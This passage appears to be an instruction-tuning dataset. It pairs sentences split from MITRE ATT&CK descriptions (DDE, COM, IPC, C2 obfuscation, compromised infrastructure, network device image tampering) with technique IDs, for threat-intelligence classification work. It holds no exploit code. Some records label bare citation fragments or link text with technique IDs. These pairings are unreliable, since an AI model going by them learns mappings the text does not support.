device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the Windows Component Object Model (COM) for local code execution.", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the Windows Component Object Model (COM) for local code execution. ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019)", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation:", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fireeye Hunting COM June 2019)(Citation:", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fireeye Hunting COM June 2019)(Citation: ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ProjectZero File Write EoP Apr 2018)", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ProjectZero File Write EoP Apr 2018) ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is typically used by processes to share data, communicate with each other, or synchronize execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is typically used by processes to share data, communicate with each other, or synchronize execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse IPC to execute arbitrary code or commands.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse IPC to execute arbitrary code or commands. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001).", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001). ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.", "output": "T1001.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add junk data to protocols used for command and control to make detection more difficult. ### Response: T1001.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic.", "output": "T1001.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. ### Response: T1001.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.", "output": "T1001.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ### Response: T1001.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts.", "output": "T1001.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. ### Response: T1001.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.", "output": "T1001.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. ### Response: T1001.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.", "output": "T1001.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ### Response: T1001.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Steganographic techniques can be used to hide data in digital messages that are transferred between systems.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Steganographic techniques can be used to hide data in digital messages that are transferred between systems. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This hidden information can be used for command and control of compromised systems.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This hidden information can be used for command and control of compromised systems. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate command and control traffic to make it more difficult to detect. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search network shares on computers they have compromised to find files of interest.", "output": "T1039", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search network shares on computers they have compromised to find files of interest. ### Response: T1039."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.", "output": "T1039", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. ### Response: T1039."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", "output": "T1039", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. ### Response: T1039."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install an older version of the operating system of a network device to weaken security.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install an older version of the operating system of a network device to weaken security. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits)", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system in storage, the adversary will typically use the standard procedures available to device operators.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system in memory, the adversary typically can use one of two methods.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system in memory, the adversary typically can use one of two methods. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method typically requires administrative level access to the device.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method typically requires administrative level access to the device. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the second method for changing the operating system in memory, the adversary would make use of the boot loader.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. 